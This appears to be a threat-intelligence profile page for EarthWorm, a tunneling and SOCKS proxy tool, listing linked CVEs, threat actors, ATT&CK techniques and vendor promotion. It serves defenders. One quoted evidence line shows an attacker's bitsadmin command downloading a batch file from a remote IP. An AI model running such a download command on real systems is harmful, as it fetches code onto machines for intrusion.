Skip to main content
Mallory
Malware10 associated actors5 associated CVEs

Earthworm

Tracked since Nov 25, 2025 · Updated 18 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns5Associated
Actors10Associated
ATT&CK12Techniques
IOCs3Tracked
Type
Proxyware
Capabilities
Post exploitationDefense evasionLateral movement
Platforms
WindowsLinuxmacOSNetwork device

EarthWorm is an open-source network tunneling and proxy utility written in C that is frequently deployed during post-exploitation activity. It supports port mapping and forwarding, SOCKS5 proxy servers, and reverse SOCKS5 connections, allowing operators to relay traffic through compromised systems and reach otherwise inaccessible internal services. It supports Windows, Linux, and macOS, with builds for ARM and MIPS architectures, and has also been deployed on compromised network appliances. EarthWorm is a dual-use networking tool rather than an inherently malicious implant.

Threat actors use EarthWorm to conceal command-and-control communications and support lateral movement through victim networks. Its use has been documented in operations involving Volt Typhoon, BackdoorDiplomacy, Earth Estries, and APT41. Deployments include intrusions affecting U.S. critical infrastructure, telecommunications organizations, government environments, and a Korean medical institution's Windows IIS server. EarthWorm has also been incorporated into the AlienReverse Linux implant for port mapping and proxying. Some operators deploy VMProtect-packed versions to hinder analysis and detection. In exploitation of PAN-OS vulnerability CVE-2026-0300, attackers deployed EarthWorm on compromised firewalls for network tunneling and outbound command-and-control connectivity. Its availability and use by multiple unrelated operators mean its presence alone does not establish threat-actor attribution.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

5 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2021-27065via symantec enterprise blogsMicrosoft Exchange Server Arbitrary File Write in the ProxyLogon ChainSome of the tools we saw used in post-compromise activity in those impacted since March 2 include: ... EarthWorm tunnel toolView vulnerability →Source ↗
CVE-2021-34473via synacktiv blogProxyShell: Microsoft Exchange Server Pre-authentication Path ConfusionThe Earthworm tool came as a more powerful replacement to the ageing lcx/Htran one. It incorporated lcx's core concepts ... and added SOCKS5 proxy and reverse SOCKS5 proxy functionalities.View vulnerability →Source ↗
CVE-2021-26855via symantec enterprise blogsProxyLogon SSRF in Microsoft Exchange ServerSome of the tools we saw used in post-compromise activity in those impacted since March 2 include: ... EarthWorm tunnel toolView vulnerability →Source ↗
CVE-2025-53690via ireland ncsc alertsExploited in the wildSitecore ASP.NET ViewState deserialization RCECVE-2025-53690 is a ViewState deserialization vulnerability that affects any version of Sitecore Experience Manager (XM), Experience Platform (XP), Experience Commerce (XC), and Managed Cloud deployed in the manner above. Successful exploitation of the vulnerability might lead to remote code execution and non-authorised access to information. | EARTHWORM (lfe.ico, ufp.exe, ufp.ico)View vulnerability →Source ↗
CVE-2026-0300via censys otherExploited in the wildUnauthenticated Root RCE in PAN-OS User-ID Authentication PortalCVE-2026-0300 is an unauthenticated buffer overflow in the User-ID Authentication Portal (Captive Portal) service of PAN-OS. The vendor advisory states that exploitation yields arbitrary code execution with root privileges on PA-Series and VM-Series firewalls... exploitation has been observed since April 9, 2026, with successful remote code execution achieved by April 16, 2026. | Observed post-exploitation activity includes shellcode injection into the nginx worker process on the firewall, Active Directory enumeration using credentials extracted from the firewall, anti-forensic log cleanup, and deployment of network tunneling tools (EarthWorm, ReverseSocks5) for outbound command and control.View vulnerability →Source ↗
Threat actors

Associated threat actors

10 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
UAT-5918

Including FRPC, FScan, In-Swor, Earthworm, and Neo-reGeorg

via talos intelligence blogstorage.ghost.io
BackdoorDiplomacy

BackdoorDiplomacy has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.

via mitre attack websiteattack.mitre.org
Volt Typhoon

The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with hardcoded C2 callbacks.

via cisa advisoriescisa.gov
Salt Typhoon

We observed Earth Estries using the following post-exploitation tools... A VMProtected version of EarthWorm, a SOCK5 network tunnel

via trendai security blogtrendaisecurity.com
UNC2980

The Earthworm tool came as a more powerful replacement to the ageing lcx/Htran one. It incorporated lcx's core concepts ... and added SOCKS5 proxy and reverse SOCKS5 proxy functionalities.

via synacktiv blogsynacktiv.com
CL-STA-1132

Развёртывание EarthWorm и ReverseSocks5 для SOCKS5-туннелирования

via codebycodeby.net

+4 more in the app. View in Mallory

MITRE ATT&CK

Techniques & procedures

12 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

1 technique
T1203Exploitation for Client ExecutionEvidence1

Successful exploitation of the vulnerability might lead to remote code execution and non-authorised access to information.

Stealth

1 technique
T1036MasqueradingEvidence1

During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.

Lateral Movement

1 technique
T1021.006Windows Remote ManagementEvidence1

CmdOnPortMapping Launches EarthWorm to perform the port mapping ... Also implements the management of a Socks proxy

Command and Control

9 techniques
T1071Application Layer ProtocolEvidence1

Then they deployed EarthWorm and ReverseSocks5 tunnels for outbound C2

T1090ProxyEvidence16

Also implements the management of a Socks proxy

T1090.001Internal ProxyEvidence2

Some of the tools we saw used in post-compromise activity in those impacted since March 2 include: ... EarthWorm tunnel tool ... ReGeorg web shells ... Chisel

T1090.002External ProxyEvidence2

Then they deployed EarthWorm and ReverseSocks5 tunnels for outbound C2

T1090.003Multi-hop ProxyEvidence1

Some of the tools we saw used in post-compromise activity in those impacted since March 2 include: ... Stowaway multi-hop proxy tool

T1090.004Domain FrontingEvidence1

Aria-body has the ability to use a reverse SOCKS proxy module... BADHATCH can use SOCKS4 and SOCKS5 proxies... GoBear implements SOCKS5 proxy functionality... Neo-reGeorg has the ability to establish a SOCKS5 proxy... Remcos uses the infected hosts as SOCKS5 proxies...

T1095Non-Application Layer ProtocolEvidence1

Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

T1105Ingress Tool TransferEvidence2

bitsadmin from a remote host: "CSIDL_SYSTEM\bitsadmin.exe" /rawreturn /transfer getfile http://89.34.111.11/3.avi CSIDL_PROFILE\public\2.bat

T1572Protocol TunnelingEvidence4

CmdOnPortMapping Launches EarthWorm to perform the port mapping

Indicators of compromise

Observables

3 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

40 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+33 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching3Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors10Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities5CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping12Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.